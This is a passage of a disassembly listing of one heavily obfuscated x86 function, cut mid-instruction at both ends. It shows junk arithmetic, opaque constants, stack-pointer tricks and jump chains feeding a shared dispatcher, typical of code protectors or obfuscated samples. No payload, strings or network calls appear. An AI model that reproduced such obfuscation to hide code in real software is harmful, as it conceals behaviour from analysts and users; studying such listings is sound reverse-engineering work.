[esp+10h+var_12+2], ecx jmp loc_58E8AB ; --------------------------------------------------------------------------- loc_5910FF: ; CODE XREF: sub_57DD3A+11885j shr esi, 7 push ebx mov ebx, 0F18D597Dh sub esi, ebx jmp loc_59E54F ; --------------------------------------------------------------------------- loc_59110F: ; CODE XREF: sub_57DD3A+1BE2Dj mov [esp+74h+var_74], esi push esp pop esi jmp loc_59E764 ; --------------------------------------------------------------------------- loc_591119: ; CODE XREF: sub_57DD3A+1B9D9j pop esi sub [esp+70h+var_68], 7388776Fh add [esp+70h+var_68], edx add [esp+70h+var_68], 7388776Fh pop edx sub [esp+6Ch+var_68], edx sub [esp+6Ch+var_68], 7106274Eh mov edx, [esp+6Ch+var_6C] jmp loc_5A2DF1 ; --------------------------------------------------------------------------- loc_591143: ; CODE XREF: sub_57DD3A+16006j mov [esp+6Ch+var_6C], ebp jmp loc_5907A9 ; --------------------------------------------------------------------------- loc_59114B: ; CODE XREF: sub_57DD3A+140D2j mov eax, [esp+6Ch+var_6C] add esp, 4 shr ebp, 5 or ebp, 24025F54h add ebp, 5F40383Bh sub esp, 4 mov [esp+6Ch+var_6C], ebx jmp loc_59E5B2 ; --------------------------------------------------------------------------- loc_59116E: ; CODE XREF: sub_57DD3A+20358j add edi, ebp sub edi, 48666262h pop ebp add edi, 4 xchg edi, [esp+68h+var_68] pop esp pop [esp+64h+var_64] mov esp, [esp+60h+var_60] sub esp, 4 jmp loc_5A06D1 ; --------------------------------------------------------------------------- loc_59118C: ; CODE XREF: sub_57DD3A+18B2Aj push eax push edi jmp loc_59F968 ; --------------------------------------------------------------------------- loc_591193: ; CODE XREF: sub_57DD3A+17218j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+6Ch+var_6C] jmp loc_59D4EB ; --------------------------------------------------------------------------- loc_5911A5: ; CODE XREF: sub_57DD3A+233ACj sub ah, 0B6h xor bh, ah pop eax not bh jmp loc_596574 ; --------------------------------------------------------------------------- loc_5911B2: ; CODE XREF: sub_57DD3A+10F87j add edi, 71C4479Fh pop ebx mov eax, [esp+1Ah+var_1A] jmp loc_59B088 ; --------------------------------------------------------------------------- loc_5911C1: ; CODE XREF: sub_57DD3A+166BFj pop ebp add ebp, esi pop esi jmp loc_597969 ; --------------------------------------------------------------------------- loc_5911CA: ; CODE XREF: sub_57DD3A+13D0Bj xor eax, [esp+12h+var_12] xor [esp+12h+var_12], eax xor eax, [esp+12h+var_12] jmp loc_59F0CB ; --------------------------------------------------------------------------- loc_5911D8: ; CODE XREF: sub_57DD3A+112DEj mov cx, word ptr [esp+40h+var_42+2] push esi push esp mov esi, [esp+0] add esp, 4 push ebx push edi push 77210445h pop edi jmp loc_592B90 ; --------------------------------------------------------------------------- loc_5911F1: ; CODE XREF: sub_57DD3A+2125Cj xor bh, al push [esp+4Ch+var_4C] jmp loc_58FC9A ; --------------------------------------------------------------------------- loc_5911FB: ; CODE XREF: sub_57DD3A+207D1j xchg eax, [esp+50h+var_50] pop esp mov [esp+4Ch+var_4C], eax jmp loc_59AF18 ; --------------------------------------------------------------------------- loc_591207: ; CODE XREF: sub_57DD3A+2422Aj mov ebp, esi pop esi push esi jmp loc_592064 ; --------------------------------------------------------------------------- loc_591210: ; CODE XREF: sub_57DD3A+18A33j mov [esp+4Ch+var_4C], ebx mov ebx, 0EBE69ABh jmp loc_58EFD5 ; --------------------------------------------------------------------------- loc_59121D: ; CODE XREF: sub_57DD3A+11E07j sub ebp, ecx pop ecx jmp loc_593C92 ; --------------------------------------------------------------------------- loc_591225: ; CODE XREF: sub_57DD3A+148F2j pop edi jmp loc_58FF03 ; --------------------------------------------------------------------------- loc_59122B: ; CODE XREF: sub_57DD3A+12390j push ebx jmp loc_5A2382 ; --------------------------------------------------------------------------- loc_591231: ; CODE XREF: sub_57DD3A+157CAj sub esp, 4 mov [esp+46h+var_46], ecx push ebp push ecx mov ecx, 494C3C43h mov ebp, ecx pop ecx push esi jmp loc_5999FD ; --------------------------------------------------------------------------- loc_591247: ; CODE XREF: sub_57DD3A+1D0EEj push edi mov edi, 66EF55B6h mov edx, edi jmp loc_59A764 ; --------------------------------------------------------------------------- loc_591254: ; CODE XREF: sub_57DD3A+1C422j cmp dword ptr [edi+20h], 0 jz loc_5914AA push 4CDh mov [esp+56h+var_58+2], ebx mov ebx, 3D22033Bh jmp loc_5A2D6F ; --------------------------------------------------------------------------- loc_591270: ; CODE XREF: sub_57DD3A+14BB8j xor edi, 4016290Bh add eax, edi mov edi, [esp+56h+var_58+2] add esp, 4 add eax, 4 xchg eax, [esp+52h+var_54+2] jmp loc_594148 ; --------------------------------------------------------------------------- loc_59128C: ; CODE XREF: sub_57DD3A+15DFAj shr ebp, 1 or ebp, 5F24B36h sub ebp, 73B37C33h dec ebp xor ebp, 97075158h add ebx, ebp pop ebp mov edi, ebx jmp loc_595E1B ; --------------------------------------------------------------------------- loc_5912AB: ; CODE XREF: sub_57DD3A+2375Aj shl edi, 8 jmp loc_59443F ; --------------------------------------------------------------------------- loc_5912B3: ; CODE XREF: sub_57DD3A+1F730j add ebx, 4 xchg ebx, [esp+4Eh+var_50+2] pop esp add esp, 4 add edx, 2 xor edx, [esp+46h+var_46] xor [esp+46h+var_46], edx xor edx, [esp+46h+var_46] mov esp, [esp+46h+var_46] btr word ptr [esp+46h+var_46], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5912DD: ; CODE XREF: sub_57DD3A+1B4B4j pop ecx add edi, esi jmp loc_59D1BB ; --------------------------------------------------------------------------- loc_5912E5: ; CODE XREF: sub_57DD3A+1A931j add esp, 4 push ecx mov ecx, 218E3242h add ecx, 206E68A2h sub ecx, 0FFFFFFFFh push 0 sub [esp+4Ah+var_4C+2], ecx jmp loc_59F444 ; --------------------------------------------------------------------------- loc_59130A: ; CODE XREF: sub_57DD3A+17B9Ej mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4Ah+var_4C+2] pop esp jmp loc_596566 ; --------------------------------------------------------------------------- loc_591321: ; CODE XREF: sub_57DD3A+208B5j dec ebx add ebx, 0D5E461BFh jmp loc_59682A ; --------------------------------------------------------------------------- loc_59132D: ; CODE XREF: sub_57DD3A+23D2Cj mov ebp, [esp+46h+var_46] add esp, 4 add ecx, 2 xor ecx, [esp+42h+var_42] jmp loc_59486C ; --------------------------------------------------------------------------- loc_591344: ; CODE XREF: sub_57DD3A+174A3j xor [esp+42h+var_42], ebx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59134C: ; CODE XREF: sub_57DD3A+153C2j mov bh, ch pop ecx mov cl, 0A9h xor cl, bh mov ebx, [esp+3Eh+var_3E] add esp, 4 xor cl, 45h shl cl, 8 neg cl add cl, 0A0h jmp loc_5A07F3 ; --------------------------------------------------------------------------- loc_591369: ; CODE XREF: sub_57DD3A+206D1j push eax mov al, 69h add al, 71h or al, 0BCh push edx jmp loc_58F273 ; --------------------------------------------------------------------------- loc_591376: ; CODE XREF: sub_57DD3A+2545Cj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59137B: ; CODE XREF: sub_57DD3A+1FFB5j push 44CAh mov [esp+46h+var_46], edx mov edx, esp push esi mov esi, 41356385h shr esi, 1 sub esi, 143B5D04h jmp loc_59547D ; --------------------------------------------------------------------------- loc_591398: ; CODE XREF: sub_57DD3A+1EBB3j push eax mov eax, 4 push edi mov edi, 52026B58h dec edi add edi, 0DB9DED3Dh jmp loc_596679 ; --------------------------------------------------------------------------- loc_5913B0: ; CODE XREF: sub_57DD3A+12947j push ecx jmp loc_597803 ; --------------------------------------------------------------------------- loc_5913B6: ; CODE XREF: sub_57DD3A+1A37Bj add edi, 28D72531h add edi, ecx push ebp mov ebp, 28D72531h sub edi, ebp pop ebp push ebp mov ebp, 7B9D44FBh sub edi, ebp jmp loc_596796 ; --------------------------------------------------------------------------- loc_5913D4: ; CODE XREF: sub_57DD3A+1435Aj mov bl, 0AAh jmp loc_5967A0 ; --------------------------------------------------------------------------- loc_5913DB: ; CODE XREF: sub_57DD3A+1EFC4j mov [esp+1Ah+var_1A], ebx mov ebx, esp jmp loc_58E9D1 ; --------------------------------------------------------------------------- loc_5913E5: ; CODE XREF: sub_57DD3A+1F6D0j mov ecx, [esp+1Ah+var_1A] add esp, 4 pop esi push edi mov edi, ebp push edi add [esp+1Ah+var_1A], 50643355h pop ecx push ebp mov ebp, 50643355h sub ecx, ebp jmp loc_596F06 ; --------------------------------------------------------------------------- loc_591405: ; CODE XREF: sub_57DD3A+20873j xchg ebx, [esp+1Ah+var_1A] jmp loc_59DB24 ; --------------------------------------------------------------------------- loc_59140D: ; CODE XREF: sub_57DD3A+1DA38j and dl, ch jmp loc_5A252D ; --------------------------------------------------------------------------- loc_591414: ; CODE XREF: sub_57DD3A+12010j pop esp mov ebx, edi mov edi, [esp+2Ah+var_2A] jmp loc_59BB09 ; --------------------------------------------------------------------------- loc_59141F: ; CODE XREF: sub_57DD3A+20460j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_591424: ; CODE XREF: sub_57DD3A+19B54j xor [esp+2Ah+var_2A], ebx xor ebx, [esp+2Ah+var_2A] mov esp, [esp+2Ah+var_2A] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_591432: ; CODE XREF: sub_57DD3A+1CD12j mov esi, 408D609Dh inc esi or esi, 5FF24D3Eh jmp loc_59A2B2 ; --------------------------------------------------------------------------- loc_591443: ; CODE XREF: sub_57DD3A+1F1E7j neg bh inc bh push eax mov ah, 0Ch jmp loc_5A10E0 ; --------------------------------------------------------------------------- loc_59144F: ; CODE XREF: sub_57DD3A+1EE36j movzx eax, al mov dx, word ptr [esp+2Eh+var_2E] jmp loc_5A245D ; --------------------------------------------------------------------------- loc_59145B: ; CODE XREF: sub_57DD3A+1AA2Cj add eax, ebp push ebx push edx mov edx, 5D6A3D60h push ebp mov ebp, 99F6936Ah mov ebx, ebp pop ebp jmp loc_59E7E8 ; --------------------------------------------------------------------------- loc_591472: ; CODE XREF: sub_57DD3A+23C75j mov edx, ebx jmp loc_59776C ; --------------------------------------------------------------------------- loc_591479: ; CODE XREF: sub_57DD3A+116F5j pop esi xor esi, 669B0A55h pop edx shl esi, 5 not esi xor esi, 452A3C25h xor esi, 14BC2FBAh push esi add [esp+40h+var_42+2], 66AF21EAh pop ebx sub ebx, 66AF21EAh mov esi, [esp+3Ch+var_3E+2] add esp, 4 loc_5914AA: ; CODE XREF: sub_57DD3A+1351Ej push 45A9h mov [esp+3Ch+var_3E+2], ecx mov ecx, esp add ecx, 4 jmp loc_59CDA8 ; --------------------------------------------------------------------------- loc_5914BF: ; CODE XREF: sub_57DD3A+21AEFj shr esi, 7 shl esi, 3 sub esi, 0AAD5CEEEh add ebx, 757E5006h sub ebx, esi sub ebx, 757E5006h pop esi sub ebx, 5591729Ah sub ebx, 39115556h sub ebx, eax add ebx, 39115556h push 4471h mov [esp+3Ch+var_3E+2], ebp mov ebp, 415A2E29h add ebp, 0FFFFFFFFh dec ebp not ebp push ecx jmp loc_5947A4 ; --------------------------------------------------------------------------- loc_591507: ; CODE XREF: sub_57DD3A+1BC9Bj shl ebx, 1 jmp loc_5A2BF9 ; --------------------------------------------------------------------------- loc_59150E: ; CODE XREF: sub_57DD3A+21449j pop eax push ebx push ecx mov ch, 0CDh shr ch, 2 push edx mov dl, 0EEh jmp loc_590D85 ; --------------------------------------------------------------------------- loc_59151E: ; CODE XREF: sub_57DD3A+1339Fj push ebx push esi jmp loc_59EE0A ; --------------------------------------------------------------------------- loc_591525: ; CODE XREF: sub_57DD3A+1603Ej shl ebx, 1 add ebx, 90F05924h xor esi, ebx pop ebx and esi, 62891083h shl esi, 7 add esi, 0FF77BE84h mov ebp, esi jmp loc_59CBA0 ; --------------------------------------------------------------------------- loc_591546: ; CODE XREF: sub_57DD3A+1718Aj add ebp, 4 xchg ebp, [esp+14h+var_16+2] pop esp and eax, ebx jmp loc_592584 ; --------------------------------------------------------------------------- loc_591554: ; DATA XREF: sub_57DD3A+103F2o mov cx, word ptr [esp+10h+var_12+2] push 37D8h mov [esp+14h+var_16+2], eax jmp loc_59566C ; --------------------------------------------------------------------------- loc_591565: ; CODE XREF: sub_57DD3A+14690j not eax jmp loc_592E21 ; --------------------------------------------------------------------------- loc_59156C: ; CODE XREF: sub_57DD3A+1E78Ej pop esp mov [esp+10h+var_12+2], edi push ebx mov ebx, 13C87B75h mov edi, 6F8D3629h xor edi, ebx pop ebx jmp loc_59E287 ; --------------------------------------------------------------------------- loc_591583: ; CODE XREF: sub_57DD3A+24569j xor ebp, edx pop edx jmp loc_593768 ; --------------------------------------------------------------------------- loc_59158B: ; CODE XREF: sub_57DD3A+1B8C1j sub al, bh add al, 8Fh push bx mov bh, 42h add al, 67h sub al, bh sub al, 67h pop bx jmp loc_5984C8 ; --------------------------------------------------------------------------- loc_5915A0: ; CODE XREF: sub_57DD3A+1B647j mov esi, esp push edx jmp loc_591E98 ; --------------------------------------------------------------------------- loc_5915A8: ; CODE XREF: sub_57DD3A+23EE2j xor edx, [esp+10h+var_12+2] pop esp sub esp, 2 mov word ptr [esp+10h+var_12+2], bx push ecx jmp loc_598F9B ; --------------------------------------------------------------------------- loc_5915B9: ; CODE XREF: sub_57DD3A+22FEAj mov dh, byte ptr [esp+14h+var_16+2] add esp, 4 xor dh, 0A6h sub dh, 9Ch sub cl, dh pop edx jmp $+5 add al, cl pop ecx jmp loc_5A2413 ; --------------------------------------------------------------------------- lodsd push 241Ah mov [esp+0Ch+var_E+2], ecx mov ecx, 43360B90h sub eax, ecx pop ecx add eax, 13290CD3h jmp loc_595EA1 ; --------------------------------------------------------------------------- loc_5915F0: ; CODE XREF: sub_57DD3A+1E7B4j pop ecx sub ebx, esi jmp loc_59A169 ; --------------------------------------------------------------------------- loc_5915F8: ; CODE XREF: sub_57DD3A+1C0F3j push edx jmp loc_58ED40 ; --------------------------------------------------------------------------- loc_5915FE: ; CODE XREF: sub_57DD3A+186EBj push ecx push esp pop ecx add ecx, 4 push edx mov edx, 1FA84A1Dh dec edx inc edx jmp loc_593228 ; --------------------------------------------------------------------------- loc_591614: ; CODE XREF: sub_57DD3A+1F9E7j add edi, ebx pop ebx add edi, ecx sub edi, 14E0610h pop ecx jmp loc_59C597 ; --------------------------------------------------------------------------- loc_591625: ; CODE XREF: sub_57DD3A+1AAF1j add dh, cl jmp loc_5A2B4F ; --------------------------------------------------------------------------- loc_59162C: ; CODE XREF: sub_57DD3A+1F7B2j shl ebx, 4 sub ebx, 0A93652BEh sub edx, 16445229h add edx, ebx add edx, 16445229h mov ebx, [esp+8+var_8] add esp, 4 xor edx, [esp+4+var_4] xor [esp+4+var_4], edx xor edx, [esp+4+var_4] mov esp, [esp+4+var_4] or word ptr [esp+4+var_4], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59165F: ; CODE XREF: sub_57DD3A+2337Ej mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] mov esp, [esp+8+var_8] push ebp sub esp, 4 mov [esp+10h+var_12+2], esp add [esp+10h+var_12+2], 4 pop ebp add ebp, 4 jmp loc_595C4D ; --------------------------------------------------------------------------- loc_591687: ; CODE XREF: sub_57DD3A+111DBj sub eax, 68BE5230h pop ecx add ebp, eax push [esp+32h+var_32] pop eax add esp, 4 jmp loc_598E91 ; --------------------------------------------------------------------------- loc_59169E: ; CODE XREF: sub_57DD3A+161C5j push [esp+2Eh+var_2E] pop ecx push edi jmp loc_595A1F ; --------------------------------------------------------------------------- loc_5916A8: ; CODE XREF: sub_57DD3A+221C9j pop ecx sub eax, 4 jmp loc_59C4C5 ; --------------------------------------------------------------------------- loc_5916B3: ; CODE XREF: sub_57DD3A+1CA54j pop esi jmp loc_5A21F7 ; --------------------------------------------------------------------------- loc_5916B9: ; CODE XREF: sub_57DD3A+17CFFj mov [esp+2Ah+var_2A], eax mov eax, 71AB0675h jmp loc_5A2240 ; --------------------------------------------------------------------------- loc_5916C6: ; CODE XREF: sub_57DD3A+20ED4j push eax mov eax, 2A092957h jmp loc_5936A2 ; --------------------------------------------------------------------------- loc_5916D1: ; CODE XREF: sub_57DD3A+117FBj sub ebp, 4 xchg ebp, [esp+5Ch+var_5C] pop esp mov [esp+58h+var_58], edi push ebx mov ebx, 47762526h push eax mov eax, 68F01A04h mov edi, 0DE860B26h jmp loc_592CCC ; --------------------------------------------------------------------------- loc_5916F4: ; CODE XREF: sub_57DD3A+17F2Ej pop ebx jmp loc_59C19D ; --------------------------------------------------------------------------- loc_5916FA: ; CODE XREF: sub_57DD3A+20600j add esi, eax pop eax jmp loc_5962F2 ; --------------------------------------------------------------------------- loc_591702: ; CODE XREF: sub_57DD3A+1D343j mov ebx, edx pop edx jmp loc_59B7D3 ; --------------------------------------------------------------------------- loc_59170A: ; CODE XREF: sub_57DD3A+176ACj mov ebp, [esp+54h+var_54] add esp, 4 jmp loc_59BFDC ; --------------------------------------------------------------------------- loc_591718: ; CODE XREF: sub_57DD3A+13F9Ej push eax push edi mov edi, 667F2A4Ch mov eax, 0EFEF1268h add eax, edi pop edi shr eax, 6 or eax, 7B5436AEh shl eax, 2 jmp loc_59EBEC ; --------------------------------------------------------------------------- loc_591737: ; CODE XREF: sub_57DD3A+1B678j mov edx, 2Ch add edx, 7D9A76D0h sub edx, 8587B1Dh add edx, 419D1FF8h jmp loc_5A1B0F ; --------------------------------------------------------------------------- loc_591753: ; CODE XREF: sub_57DD3A+1FB65j push eax mov eax, 0F287661h jmp loc_59E6A4 ; --------------------------------------------------------------------------- loc_59175E: ; CODE XREF: sub_57DD3A+2519Ej add esi, 4 sub esi, 4 jmp loc_59F90E ; --------------------------------------------------------------------------- loc_59176F: ; CODE XREF: sub_57DD3A+221ABj and ebp, 31917510h xchg ecx, ebp not ecx jmp loc_598749 ; --------------------------------------------------------------------------- loc_59177E: ; CODE XREF: sub_57DD3A+23D1Fj mov ebx, 51446C4Ch shl ebx, 8 jmp loc_5A2338 ; --------------------------------------------------------------------------- loc_59178B: ; CODE XREF: sub_57DD3A+21B43j push esp mov edx, [esp+5Ch+var_5C] add esp, 4 push edi jmp loc_59AA01 ; --------------------------------------------------------------------------- loc_59179B: ; CODE XREF: sub_57DD3A+22C39j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+5Ch+var_5C] pop esp jmp loc_59807E ; --------------------------------------------------------------------------- loc_5917AF: ; CODE XREF: sub_57DD3A+1ABCBj pop ecx add ebx, 4 xchg ebx, [esp+54h+var_54] jmp loc_596878 ; --------------------------------------------------------------------------- loc_5917BB: ; CODE XREF: sub_57DD3A+13003j pop edi jmp loc_59AB9B ; --------------------------------------------------------------------------- loc_5917C1: ; CODE XREF: sub_57DD3A+247EEj push esp pop esi add esi, 4 add esi, 4 sub esp, 4 mov [esp+58h+var_58], esi jmp loc_5994DF ; --------------------------------------------------------------------------- loc_5917DA: ; CODE XREF: sub_57DD3A+2005Cj add eax, 43AC6E58h xchg eax, edi pop eax xor edi, 0A75600Bh add ebx, edi push [esp+54h+var_54] mov edi, [esp+58h+var_58] add esp, 4 add esp, 4 sub esp, 4 mov [esp+54h+var_54], eax mov eax, 4 push esi mov esi, 6337809h dec esi jmp loc_58ECD3 ; --------------------------------------------------------------------------- loc_591812: ; CODE XREF: sub_57DD3A+185B3j mov esi, 4 add [esp+58h+var_54], 46E5EEDh add [esp+58h+var_54], esi jmp loc_59DE52 ; --------------------------------------------------------------------------- loc_591828: ; CODE XREF: sub_57DD3A+1B19Ej mov [esp+58h+var_58], eax push esi mov esi, 30424758h xor esi, 0FFC64E6h shl esi, 3 jmp loc_594815 ; --------------------------------------------------------------------------- loc_59183F: ; CODE XREF: sub_57DD3A+17EE6j push 41BEh jmp loc_59B406 ; --------------------------------------------------------------------------- loc_591849: ; CODE XREF: sub_57DD3A+237DDj xor ecx, 0A26D5A53h add eax, ecx pop ecx pop edi jmp loc_5A115D ; --------------------------------------------------------------------------- loc_591858: ; CODE XREF: sub_57DD3A+11AD9j push cx pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_591860: ; CODE XREF: sub_57DD3A+23C54j mov [esp+0], ecx mov ecx, ebx mov ebx, ecx jmp loc_590A4D ; --------------------------------------------------------------------------- loc_59186C: ; CODE XREF: sub_57DD3A+224AFj pop dword ptr [esp+0] pop esp push 6EBEh mov [esp+44h+var_46+2], edx jmp loc_59C3EE ; --------------------------------------------------------------------------- loc_59187D: ; CODE XREF: sub_57DD3A+11624j pop eax jmp loc_599D0D ; --------------------------------------------------------------------------- loc_591883: ; CODE XREF: sub_57DD3A+16BACj xor ebx, 29B13813h jmp loc_591F37 ; --------------------------------------------------------------------------- loc_59188E: ; CODE XREF: sub_57DD3A+24779j xchg esi, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], esi mov esi, 61B649B6h shr esi, 6 neg esi shl esi, 8 not esi add esi, 7DB20699h sub eax, esi mov esi, [esp+1Eh+var_1E] add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+1Eh+var_1E] pop esp mov [esp+1Ah+var_1A], edx push ecx push 2C5F1E43h mov ecx, [esp+22h+var_22] jmp loc_5A1892 ; --------------------------------------------------------------------------- loc_5918D9: ; CODE XREF: sub_57DD3A+1F200j sub ebx, eax pop eax xchg ebx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] push esp jmp loc_59C078 ; --------------------------------------------------------------------------- loc_5918E8: ; CODE XREF: sub_57DD3A+1945Fj pop ebp push ebp push esp mov ebp, [esp+26h+var_26] add esp, 4 push 11BDh mov [esp+26h+var_26], ebx jmp loc_596256 ; --------------------------------------------------------------------------- loc_5918FE: ; CODE XREF: sub_57DD3A+1B5F4j xor edi, ebx neg ebx xchg ebx, edi shl edi, 2 push ebx mov ebx, 3AF775D0h add edi, ebx mov ebx, [esp+2Ah+var_2A] add esp, 4 add ebp, edi mov edi, [esp+26h+var_26] add esp, 4 push eax mov eax, 2 jmp loc_58F2BD ; --------------------------------------------------------------------------- loc_59192B: ; CODE XREF: sub_57DD3A+1834Bj xor eax, [esp+26h+var_26] mov esp, [esp+26h+var_26] dec word ptr [esp+26h+var_26] pushf jmp loc_5973F7 ; --------------------------------------------------------------------------- loc_59193B: ; CODE XREF: sub_57DD3A+15703j mov ch, bh pop ebx mov bh, ch pop ecx pop edx push [esp+1Eh+var_1E] jmp loc_594D0C ; --------------------------------------------------------------------------- loc_59194A: ; CODE XREF: sub_57DD3A+1EB50j xor [esp+22h+var_22], ecx xor ecx, [esp+22h+var_22] pop esp push 6039h jmp loc_596ACB ; --------------------------------------------------------------------------- loc_59195B: ; CODE XREF: sub_57DD3A+12926j add eax, 1 shl eax, 1 jmp loc_58F01D ; --------------------------------------------------------------------------- loc_591965: ; CODE XREF: sub_57DD3A+150B6j sub edi, 4A7B15CFh add edi, ebx add edi, 4A7B15CFh push dword ptr [esp+0] pop ebx add esp, 4 xor edi, [esp+6+var_8+2] xor [esp+6+var_8+2], edi xor edi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] cmp cx, ax pushf jmp loc_59D782 ; --------------------------------------------------------------------------- loc_59198F: ; CODE XREF: sub_57DD3A+1D23Dj mov ecx, 4 sub esi, ecx pop ecx xchg esi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] mov [esp+6+var_8+2], ebp mov ebp, 45002419h dec ebp sub ebp, 0FFFFFFFFh shl ebp, 2 push edi mov edi, esp jmp loc_595695 ; --------------------------------------------------------------------------- loc_5919B7: ; CODE XREF: sub_57DD3A+21BE1j push eax mov eax, 60B553FEh neg eax xor eax, 88B4D49Dh add ebp, 45DA002Fh add ebp, eax sub ebp, 45DA002Fh pop eax jmp loc_599C42 ; --------------------------------------------------------------------------- loc_5919D8: ; CODE XREF: sub_57DD3A+229F5j mov ecx, 3DA71ECEh jmp loc_59F0DC ; --------------------------------------------------------------------------- loc_5919E2: ; CODE XREF: sub_57DD3A+1D92Fj or edx, 361D4589h jmp loc_58FEF0 ; --------------------------------------------------------------------------- loc_5919ED: ; CODE XREF: sub_57DD3A+1D256j neg eax push ebp mov ebp, 5F9A0CDFh not ebp inc ebp jmp loc_59E896 ; --------------------------------------------------------------------------- loc_5919FD: ; CODE XREF: sub_57DD3A+18159j add ebp, 4 xchg ebp, [esp+0Eh+var_E] mov esp, [esp+0Eh+var_E] sub esp, 4 mov [esp+12h+var_12], esi mov esi, 7A0F1BC1h shr esi, 4 jmp loc_5A1938 ; --------------------------------------------------------------------------- loc_591A19: ; CODE XREF: sub_57DD3A+1BC11j add ebx, 4 add ebx, 4 xor ebx, [esp+12h+var_12] jmp loc_59DDA0 ; --------------------------------------------------------------------------- loc_591A2D: ; CODE XREF: sub_57DD3A+12979j mov edx, 2CB2E6Ch sub [esp+1Ah+var_12], edx mov edx, [esp+1Ah+var_1A] add esp, 4 jmp loc_59B990 ; --------------------------------------------------------------------------- loc_591A41: ; CODE XREF: sub_57DD3A+149BDj pop edi add esp, 4 jmp loc_5911CA ; --------------------------------------------------------------------------- loc_591A4A: ; CODE XREF: sub_57DD3A+110DEj pop esi push edi push 26F61C9Eh jmp loc_59F5D7 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+26h+var_26] push edi mov edi, esp push 4A9h mov [esp+2Eh+var_2E], eax push 4 pop eax push ebp push 7E5Ah mov [esp+36h+var_36], edx mov edx, 112D0278h jmp loc_59FD48 ; --------------------------------------------------------------------------- loc_591A7E: ; CODE XREF: sub_57DD3A+10AC1j mov ebp, 71870B1h push 0 sub [esp+1Ch+var_1E+2], ebp pop ebp and ebp, 77AB65F4h add ebp, 3EEA5848h neg ebp sub esp, 4 mov [esp+1Ch+var_1E+2], ebp not [esp+1Ch+var_1E+2] mov ebp, [esp+1Ch+var_1E+2] add esp, 4 add ebp, 292771F7h add edi, ebp push [esp+18h+var_1A+2] jmp loc_5948F4 ; --------------------------------------------------------------------------- loc_591ABC: ; CODE XREF: sub_57DD3A+1B1D1j push esi sub esp, 4 jmp loc_597409 ; --------------------------------------------------------------------------- loc_591AC5: ; CODE XREF: sub_57DD3A+21291j sub edx, ebp push ecx mov ecx, 1041216Fh or ecx, 6B592155h shr ecx, 6 sub ecx, 18150E4Dh xor ecx, 0C6C04F2Ah sub edx, ecx pop ecx pop ebp jmp loc_5A2EDD ; --------------------------------------------------------------------------- loc_591AEB: ; CODE XREF: sub_57DD3A+1A19Dj sub ebx, 1431427h add ebp, ebx push [esp+20h+var_22+2] pop ebx sub esp, 4 mov [esp+24h+var_26+2], ebx jmp loc_5A03C6 ; --------------------------------------------------------------------------- loc_591B02: ; CODE XREF: sub_57DD3A+18AD5j add esp, 4 push 3ACh mov [esp+24h+var_26+2], ecx mov ecx, 200h and eax, ecx mov ecx, [esp+24h+var_26+2] sub esp, 4 mov [esp+28h+var_2A+2], edi sub esp, 4 sub esp, 4 mov [esp+30h+var_32+2], esp add [esp+30h+var_32+2], 4 pop [esp+30h+var_32+2] add [esp+2Ch+var_2E+2], 4 pop edi sub esp, 4 mov [esp+2Ch+var_2E+2], ebp jmp loc_5A2479 ; --------------------------------------------------------------------------- loc_591B46: ; CODE XREF: sub_57DD3A+1F46Aj add esp, 4 jmp loc_5A2DD4 ; --------------------------------------------------------------------------- loc_591B4E: ; CODE XREF: sub_57DD3A+25275j mov ebx, 133E622Ah and ecx, ebx pop ebx xor ecx, 617E75EDh shl ecx, 2 sub ecx, 73E55EEAh mov edi, ecx pop ecx jmp loc_59DC3D ; --------------------------------------------------------------------------- loc_591B6D: ; CODE XREF: sub_57DD3A+1248Aj pop [esp+3Eh+var_3E] push [esp+3Ah+var_3A] push [esp+3Eh+var_3E] pop eax sub esp, 4 mov [esp+42h+var_42], ecx push esp mov ecx, [esp+46h+var_46] add esp, 4 add ecx, 4 sub esp, 4 mov [esp+46h+var_46], esi mov esi, 55294F63h push ebp mov ebp, 7C4F3A5Eh add esi, ebp jmp loc_599499 ; --------------------------------------------------------------------------- loc_591BAB: ; CODE XREF: sub_57DD3A+2423Bj pop esp shl ecx, 4 shr ecx, 2 sub ecx, 651D5C24h add ecx, 6E674AD8h sub ecx, 10130558h push ecx jmp loc_5958D3 ; --------------------------------------------------------------------------- loc_591BCA: ; CODE XREF: sub_57DD3A+1A63Fj pop eax sub esp, 4 mov [esp+4Ah+var_4C+2], esi jmp loc_5A2487 ; --------------------------------------------------------------------------- loc_591BD6: ; CODE XREF: sub_57DD3A+20311j xor ebp, 390B4567h add edi, ebp pop ebp add edi, 2D5D6518h jmp loc_59BB90 ; --------------------------------------------------------------------------- loc_591BEA: ; CODE XREF: sub_57DD3A+11FF7j xor bl, al push eax jmp loc_5978E1 ; --------------------------------------------------------------------------- loc_591BF2: ; CODE XREF: sub_57DD3A+15B5Ej add esp, 4 push eax mov eax, 2 add edx, 12F6713Dh add edx, eax sub edx, 12F6713Dh jmp loc_595D6C ; --------------------------------------------------------------------------- loc_591C0E: ; CODE XREF: sub_57DD3A+23E27j push ecx mov ecx, 67425B1h sub ecx, 73043F47h jmp loc_5995C3 ; --------------------------------------------------------------------------- loc_591C1F: ; CODE XREF: sub_57DD3A+218E4j mov dh, ch mov [edi+eax*4+1], dh mov edx, [esp+14h+var_16+2] add esp, 4 mov ecx, [esp+10h+var_12+2] add esp, 4 push [esp+0Ch+var_E+2] mov ebx, [esp+10h+var_12+2] add esp, 4 add esp, 4 jmp loc_58E353 ; --------------------------------------------------------------------------- loc_591C48: ; CODE XREF: sub_57DD3A+23101j pop edi push edi mov edi, 2FC120AEh shr edi, 6 or edi, 6E282997h xor edi, 6EBF2D93h sub ebp, 151319Eh jmp loc_58EB02 ; --------------------------------------------------------------------------- loc_591C69: ; CODE XREF: sub_57DD3A+11059j xchg edx, 